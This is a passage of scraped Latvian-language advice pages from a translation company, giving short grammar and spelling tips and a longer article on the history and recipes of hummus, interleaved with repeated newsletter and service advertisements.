Nometnes --- > Ieskaties un uzzini kā pareizi locīt šo uzvārdu. Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-11-22 - Modified: 2022-12-27 - URL: https://skrivanek.lv/annai-strauja-pret-annai-straujai-pret-annai-straujajai/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ANNAI STRAUJĀ PRET ANNAI STRAUJAI PRET ANNAI STRAUJAJAI 1 Adresāte ir Anna Straujā: vai rakstīsim vēstuli Annai Straujā, Annai Straujai vai Annai Straujajai? Uzvārda „Straujā” pamatā ir īpašības vārds, un tas lokāms tāpat kā citi īpašības vārdi ar noteikto galotni, piemēram, „nacionālā bibliotēka” – „nacionālajai bibliotēkai”, „straujā upe” – „straujajai upei”, „zaļā vārna” – „zaļajai vārnai”. Tātad ielūgumu vai sūtījumu adresēsim Annai Straujajai. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > 10.00–12.30, 10.00-12.30 vai 10.00 – 12.30? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-11-22 - Modified: 2024-10-22 - URL: https://skrivanek.lv/10-00-lidz-12-30/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional 10. 00–12. 30 PRET 10. 00-12. 30 PRET 10. 00 – 12. 30 1 Kura zīme jāizvēlas, norādot laika nogriezni? Ja saistāmie jēdzieni ir izteikti ar cipariem, piemēram, norādīts pulksteņa laiks vai datums, un netiek rakstīts prievārds „līdz”, starp šiem jēdzieniem ir lietojama vienotājdomuzīme, proti, domuzīme bez atstarpēm, piemēram, „20. –22. oktobrī”, „20–25 gadu vecums”. Jāatceras: ja nelietojam prievārdu „līdz”, tad nerakstām arī prievārdu „no”. Vai nu rakstām abus prievārdus „no–līdz”, vai tikai vienotājdomuzīmi. Tātad rakstīsim plkst. 10. 00–12. 30. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini pareizo atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-11-22 - Modified: 2024-10-23 - URL: https://skrivanek.lv/paldies-janim/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PALDIES, JĀNIM PRET PALDIES JĀNIM 1 Kā rakstīsim: paldies, Jānim par dāvanu vai paldies Jānim par dāvanu? Aiz vārda „paldies” liekams komats, ja aiz tā seko uzruna, piemēram, „paldies, mammu! ” vai „paldies, Jāni! ”. Ja aiz „paldies” lietojam vārdu datīvā (jautājums KAM? ), tad komats nav jāliek, piemēram, „paldies mammai” vai „paldies Jānim”. Tātad rakstīsim: paldies Jānim par dāvanu! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai uzkodīsim brušetu, bruščetu vai varbūt brusketu? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-11-22 - Modified: 2024-07-12 - URL: https://skrivanek.lv/bruseta-pret-brusceta-pret-brusketa/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BRUŠETA PRET BRUŠČETA PRET BRUSKETA 1 Vai uzkodīsim brušetu, bruščetu vai varbūt brusketu? Ar itāļu valodā rakstīto nosaukumu „bruschetta” apzīmē grauzdētu maizi, parasti baltmaizi, ar tomātiem, ķiplokiem un olīveļļu. Atbilstoši izrunai oriģinālvalodā latviešu valodā maizes nosaukums rakstāms „brusketa”. Tātad uzkodīsim brusketu! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu. KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ēdīsim humosu vai humusu? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-11-22 - Modified: 2024-10-23 - URL: https://skrivanek.lv/humoss-pret-humuss/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional HUMOSS PRET HUMUSS 1 Vai ēdīsim humosu vai humusu? Latviešu valodā pastāv gan vārds „humoss”, gan „humuss”, tikai tiem ir atšķirīga nozīme. Humuss ir augsnes organiskā daļa, kas veidojas, sadaloties augu un dzīvnieku atliekām. Sevišķi iecienīts ir biohumuss – mēslojums, kuru iegūst, izmantojot sliekas. Vārds cēlies no latīņu vārda „humus” ar nozīmi ‘zeme, augsne’. Vārds „humuss” latviešu valodā pazīstams jau vismaz kopš 19. gadsimta beigām, un tas fiksēts arī vēlākajās vispārlietojamās leksikas, kā arī terminu vārdnīcās. Savukārt „humoss” ir jaunāks vārds, kas attiecināms uz pārtiku: tas ir biezenis no turku zirņiem jeb aunazirņiem, sezama pastas un garšvielām. Vārds cēlies no arābu vārda „hummus”, kas nozīmē humosa galveno sastāvdaļu – aunazirņus jeb turku zirņus. Ir ieteicams šķirt jēdzienus: lauksaimniecībā lietojamo humusu un pārtikā izmantojamo humosu. Tātad mielosimies ar humosu. Citi latviešu valodas padomi AUSTRUMU VIRTUVES KARALIS ─ HUMOSS Austrumos pusdienu galds bez humosa bļodiņas ir tas pats, kas arābu nakts bez pasakām. Sākotnēji biezeni no vārītiem, maltiem aunazirņiem pasniedza kā ātru, nedārgu un sātīgu uzkodu zemniekiem. Tagad humosu ēd visā pasaulē: mazās tējnīcās Austrumos un modernās kafejnīcās Rietumos. To slavē kulinārijas gardēži un augstu novērtē veģetārieši, humosu var ātri uzkost ikdienas steigā un arī kārtīgi papusdienot. Kāds ir šīs pasaulē slavenās uzkodas jeb ēdiena noslēpums? Ir lietas, kas noteikti ir svarīgākas par jebkuru politisko konfliktu. Piemēram, humoss. Uz šī garšīgā un veselīgā ēdiena vēsturisko izcelsmi pretendē vairākas Tuvo Austrumu tautas: grieķi, turki, ebreji, sīrieši, arābi. Šis it kā vienkāršais, bet tik noslēpumainais ēdiens ir iekarojis visu pasauli. Tik vienkārši – humoss ir aunazirņu biezenis. Aunazirņu sēklas atgādina sojas pupiņas, tikai tās ir nedaudz lielākas, kaut kas līdzīgs zirņiem, gandrīz baltā krāsā. Aunazirņi ir galvenā humosa sastāvdaļa. Tiem tiek pievienots citrons, olīveļļa, kumīns, kā arī tahini un ķiploki. Otra galvenā humosa sastāvdaļa ir tahini, bez kuras “slavinātais” ēdiens ir parasta putra. Sezama pastas (tahini) recepte tiek pieminēta jau 13. gadsimta senajās arābu pavārgrāmatās. Humosa garšu ir grūti aprakstīt, tam ir tik daudz variāciju, jo katrai valstij ir savas tradicionālās garšvielas, ko pievieno humosam. Humosa lietošana īpaši izplatīta ir Izraēlā, Turcijā, Grieķijā un Kiprā. Daudzas valstis cīnās par tiesībām to saukt par savu nacionālo ēdienu, pārveidojot un bagātinot tradicionālās receptes. Humosa tekstūra un garša var atšķirties dažādās valstīs, dažādos reģionos, taču viens ir skaidrs: humoss sākotnēji bija vienkāršs un sātīgs ēdiens klejotājiem. Sīrijā humosu parasti bagātina ar zaļumiem un garšvielām, Izraēlā to pasniedz ar sīpoliem un papriku, bet Kiprā vairāk dekorē ar sezama sēklām un apslaka ar olīveļļu. To bieži pasniedz kā piedevu vai kā daļu no aukstajām uzkodām. Lielveikalu un delikatešu veikalu plauktos var atrast gatavu humosu, lai gan visgardākais un autentiskākais tas būs mājās gatavots. Austrumos pat vienas valsts robežās ir desmitiem veidu, kā pagatavot un ēst humosu: tādēļ nav brīnums, ka gastronomijas vēsturnieki var strīdēties, kura recepte ir vispareizākā un kādas garšvielas vai dārzeņus ir jāpievieno ēdienam. Kopumā izraēlieši, palestīnieši, libānieši, ēģiptieši, marokāņi un arābi ir vienisprātis par vienu: humoss jāēd ar pitas maizi, sarullējot mazu gabaliņu, izveidojot to kā miniatūru ēdamkaroti. Austrumos šī uzkoda tiek pasniegta kā neatkarīgs ēdiens kopā ar sasmalcinātiem tomātiem, gurķiem, koriandru un citiem garšaugiem, vārītām olām, olīvām, marinētiem pikantiem dārzeņiem un rīsiem. HUMOSA VĒSTURE Ar humosu ir saistīta ļoti interesanta vēsture un arī leģendas. Varētu pat uzskatīt, ka humoss ir viens no senākajiem ēdieniem pasaulē, kas saglabājis savu autentiskumu līdz pat mūsdienām. Protams, precīzu datu par to, kur un kad tieši humoss radies, nav, taču ir zināmi pieņēmumi. Proti, tiek uzskatīts, ka humoss radies daudzus gadsimtus atpakaļ Ēģiptē, jo aunazirņus sāka audzēt tieši Senajā Ēģiptē. Pirms desmit tūkstošiem gadu aunazirņi, kas ir galvenā ēdiena sastāvdaļa, tika audzēti arī tagadējās Turcijas teritorijā. Humoss pirmo reizi parādījās arābu pavārgrāmatās 13. gadsimtā. Tomēr vēsturniekiem šis fakts nebūt nav noteicošais. Pats ēdiens ir tik plaši izplatīts Tuvo Austrumu valstīs, Vidusjūras salās un Grieķijā, ka katra no šīm valstīm var pretendēt uz humosa autortiesībām. Galu galā galvenās humosa sastāvdaļas jau gadsimtiem tiek kultivētās šajās valstīs Turcijā aunazirņus audzē vismaz 10 000 gadu. Protams, ka šī valsts ir viena no pretendentēm uz ēdiena autortiesībām. No otras puses, Izraēla atsaucas uz Veco Derību, kas rakstīta ilgi pirms pašas Turcijas parādīšanās pasaules kartē. Viņi apgalvo, ka ebreji šo ēdienu izgudroja vismaz pirms 3500 gadiem. Taču Eiropā par šo uzkodu uzzināja septiņus gadsimtus vēlāk – 1955. gadā šis vārds iekļuva Oksfordas vārdnīcas lappusēs. Amerikas Savienotajās Valstīs humosa modi atnesa migrācijas vilnis no Libānas. 1975. ─1990. gadā valstī notika pilsoņu karš, cilvēki aizbrauca uz citām valstīm. Svešā zemē viņi ātri atcerējās savu iecienīto gardumu ─ dažu mēnešu laikā amerikāņu lielveikalu plauktos parādījās humoss. Lai gan nav īsti svarīgi, kurš pirmais nāca klajā ar ideju sajaukt aunazirņu biezeni ar sviestu un garšvielām, dažās valstīs cilvēki ir gatavi cīnīties par tiesībām tikt sauktiem par “humosa radītājiem”. 2008. gadā Libāna apsūdzēja Izraēlu, ka tā ir piesavinājusies tās pilsoņiem savu nacionālo ēdienu, nekaunīgi pelnot naudu ar tā gatavošanu, ražošanu, reklamēšanu un pārdošanu. 2008. gada oktobrī Libānas Rūpnieku asociācija iesniedza lūgumrakstu Libānas Ekonomikas un tirdzniecības ministrijai, lai lūgtu no Eiropas Komisijas humosam piešķirt aizsargātu statusu kā unikālam Libānas ēdienam, kas ir līdzīgi aizsargāta ģeogrāfiskā statusa tiesībām, kuras pār reģionālajiem pārtikas produktiem pieder dažādas Eiropas Savienības valstīm. 2009. gadā Libānas Rūpnieku asociācija joprojām “vāca dokumentus un pierādījumus”, lai pamatotu savu apgalvojumu. Kad stāsts ne ar ko nebeidzās, libānieši nolēma ar šo “patvaļu” cīnīties citādi. 2009. gadā viņi izgatavoja divas tonnas smagu bļodu ar humosu un iekļuva Ginesa rekordu grāmatā. Izraēla devās pretuzbrukumā un uztaisīja bļodu ar četrām tonnām humosa. Libānieši saspringa un atspēlējās ─ viņu sagatavotā humosa bļoda jau svēra 10,5 tonnas. Šis rekords vēl nav pārspēts, lai gan ir tādi, kas vēlētos to izdarīt. Būtu lieliski, ja visi kari pasaulē attiektos tikai uz garšīgu ēdienu gatavošanu un beigtos ar trāpījumu nevis dzīvajos mērķos, bet gan Ginesa rekordu grāmatā. Tā kā daudzi cilvēki kļūst par veģetāriešiem, humoss tikai iegūst popularitāti visā pasaulē. Izraēlā humoss joprojām ir viens no tradicionālākajiem ēdieniem – gan ikdienas, gan svētku ēdienkartēs. Neskatoties uz to, ka citās valstīs šo uzkodu ir diezgan vienkārši iegādāties, ārzemnieki turpina vest mājās Izraēlas humosu kā suvenīru. Katru gada 13. maijā miljoniem gardēžu visā pasaulē atzīmē Starptautisko humosa dienu! DAŽAS VARIĀCIJAS, KĀ TIEK ĒSTS UN PASNIEGTS HUMOSS Aukstā uzkoda: pasniedz uz atsevišķa plakana šķīvja, ēd bez dakšiņām un karotēm. Humosu vienkārši kā ar karoti ēd ar maizi, plātsmaizi vai čipsiem. Humosu, kā pastēti vai sviestu smērē uz maizes, cepumiem vai krekeriem. Šī ir lieliska un veselīga uzkoda dienas laikā. Ar humosu pilda pankūkas. Labs trekna sviesta, majonēzes vai konservētas mērces aizstājējs. Humosu ēd kā karstā ēdiena sastāvdaļu. To liek uz picas majonēzes vai tomātu pastas vietā. Rezultāts pārsteidz ar patīkamu un maigu garšu. Humoss kā mērce olīvu vai dārzeņu mērcēšanai. Lieliski sader ar kraukšķīgām selerijām, burkāniem, gurķiem un papriku. Humoss tiek lietots kā mērce ceptai, sautētai gaļai vai jūras veltēm. Garnējums: Humusu var pievienot vārītām olām, sarkanām zivīm, steikiem un bārbekjū. Mērces elements salātiem – pievieno humosu kā mērci, sanāk salāti ar pikantām notīm. Humosu var pievienot makaroniem, rīsiem un risoto, kartupeļu ēdieniem. HUMOSA RECEPTES Šis ēdiens ir ļoti pateicīgs dažādām variācijām un eksperimentiem. Restorānu šefpavāri uzskata, ka tas ir ideāls ēdiens radošumam, pat molekulārajā virtuvē. HUMOSA KLASISKĀ RECEPTE SASTĀVDAĻAS 250 g turku zirņu. ½ citrona sulas 2–3 ēdamkarotes tahini (sezama pasta). 2 izspiesti ķiploki. 4 ēdamkarotes olīveļļas. 1 tējkarote malta kumīna. Sāls, pipari. Dekorēšanai: paprikas pulveris, sasmalcināti pētersīļi. PAGATAVOŠANA Sablenderē turku zirņus krēmīgā masā. Ja vajag, pielej mazliet ūdens (ja zirņi pašvārīti — ideāli būtu novārījuma ūdens), pievieno pārējās sastāvdaļas un visu kārtīgi sajauc. Servēšanai: liek trauciņā, pārlej ar olīveļļu, pārkaisa ar paprikas pulveri, kapātiem pētersīļiem un vidū ietupina kādu nesasmalcinātu turku zirņu pāri. Kā jau minējām – humosam mūsdienās ir simtiem dažādu variāciju un recepšu. Viena no interesantākajām ir šokolādes humosa recepte: SASTĀVDAĻAS 1 vai ½ tases aunazirņu. ¼ glāzes nesaldināta kakao pulvera. 3–4 ēdamkarotes kļavu sīrupa. 3 ēdamkarotes tahini pastas. Vaniļas ekstrakts. Šķipsniņa sāls. 4 ēdamkarotes ūdens. Visas sastāvdaļas tiek sablenderētas viendabīgā masā, liek bļodiņā, apslaka ar kļavu sīrupu, uzber mazliet kakao pulvera un rupjo sāli. Pasniedz kā piedevu pie saldajām uzkodām – zemenēm, āboliem, pitas čipsiem, tostermaizītēm. Arī Skrivanek darbinieki, tulki un tulkotāji, priekšnieki un projektu vadītāji ir lieli humosa cienītāji vismaz reizi nedēļā. Humosa brokastu rītā Skrivanek virtuve pārvēršas par austrumu paradīzi, jo pēc pirmā acu uzmetiena brokastu ēdienkarti varētu raksturot kā humoss pie humosa uz humosa. Iecienītākais no visiem humosiem ir ingvera – vasabi edamame pupiņu humoss: SASTĀVDAĻAS 2 glāzes lobītas edamame pupiņas. ¼ glāze tahini pastas. 1 tējkarote maltas ingvera saknes. 2 tējkarotes vasabi pastas. 4 ķiploka daiviņas, nomizotas. 1 ēdamkarote sojas mērces. ¼ glāze ūdens. Blenderī sajauc visas sastāvdaļas līdz viendabīgai masai. Dekorē ar sezama sēkliņām, pasniedz ar zivi, gaļu pagatavotu Āzijas gaumē. TULKS UN TULKOTĀJS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu gruzīnu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 110 valodās. Tulkojumi 110+ valodās VALODU KURSI Piedāvājam mācības uzņēmumu un iestāžu darbiniekiem, kā arī individuālos un grupu kursus privātpersonām. Nodarbības nodrošinām klātienē vai tiešsaistē. Īpašais piedāvājums - apmeklējiet individuālos valodas kursus divatā, maksājot tikai par viena studenta mācībām! Valodu kursi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties --- > Datus apkopo datu bāzēs vai datubāzēs? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņa, gan sadzīvē. - Published: 2019-11-21 - Modified: 2024-07-12 - URL: https://skrivanek.lv/datu-baze-pret-datubaze/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DATU BĀZE PRET DATUBĀZE 1 Vai datus apkopo datu bāzēs vai datubāzēs? Datu, savstarpēji saistītu objektu apkopojumu, kas izveidots un organizēts tā, lai informāciju varētu izgūt, atlasīt, kārtot, sauc par datubāzi. LZA Terminoloģijas komisija par termina lietojumu saliktenī lēmusi jau 2005. gadā. Tātad meklēsim terminus datubāzēs, iepazīsimies ar datubāzu veidošanas principiem utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Skolā ir bulciņu vai maizīšu aizliegums? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-11-21 - Modified: 2024-08-21 - URL: https://skrivanek.lv/bulcina-pret-maizite/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BULCIŅA PRET MAIZĪTE 1 Vai skolā ir bulciņu vai maizīšu aizliegums? Smalkmaizīte ir neliels, parasti salds, konditorejas izstrādājums, kuru gatavo no kviešu miltu mīklas ar dažādām piedevām. Smalkmaizītes varam dēvēt arī par maizītēm, kā vairākos izstrādājumu nosaukumos jau sastopam, piemēram, kanēļmaizītes, ķimeņmaizītes, magoņmaizītes. Tātad rūpēsimies, lai jaunā paaudze neaizrautos ar smalkmaizītēm vai maizītēm! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai iebildīsim par kādu lēmumu vai pret to? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-11-21 - Modified: 2025-03-24 - URL: https://skrivanek.lv/iebilst-lemumam-pret-iebilst-pret-lemumu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional IEBILST LĒMUMAM PRET IEBILST PRET LĒMUMU 1 Vai iebildīsim par kādu lēmumu vai pret to? Ja neesam mierā ar kādas personas vai institūcijas lēmumu, mēs iebilstam pret šo lēmumu, nevis par to. Varam runāt par lēmumu, apspriest lēmumu vai iebilst lēmuma pieņēmējam – personai vai institūcijai –, taču iebildumi vērsti tieši pret lēmumu. Tātad iebildīsim pret kādu aplamu pašvaldības lēmumu, iebildīsim pret lēmumu paaugstināt kādu nodokli utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā dēvēsim bikses, kā – audumu, no kura tās šuj? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-11-21 - Modified: 2024-08-21 - URL: https://skrivanek.lv/dzinsas-pret-dzinsi-pret-dzinss/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DŽINSAS PRET DŽINSI PRET DŽINSS 1 Kā dēvēsim bikses, kā – audumu, no kura tās šuj? Par džinsiem dēvē bikses ar akcentētām nošuvēm, uzšūtām kabatām, metāla furnitūru. Vārds latviešu valodā aizgūts no angļu vārda „jeans”. Audums, no kura tās tiek šūtas, ir džinss jeb džinsa audums. Sieviešu dzimtes vārda „džinsas” lietojums vīriešu dzimtes vārda „džinsi” vietā, visticamāk, skaidrojams ar to, ka latviešu valodā vārds „bikses” ir sieviešu dzimtē. Tātad apģērbu veikalā iegādājami zili džinsi, no šī izturīgā auduma varam pašūt arī džinsa jakas, džinsa svārkus un 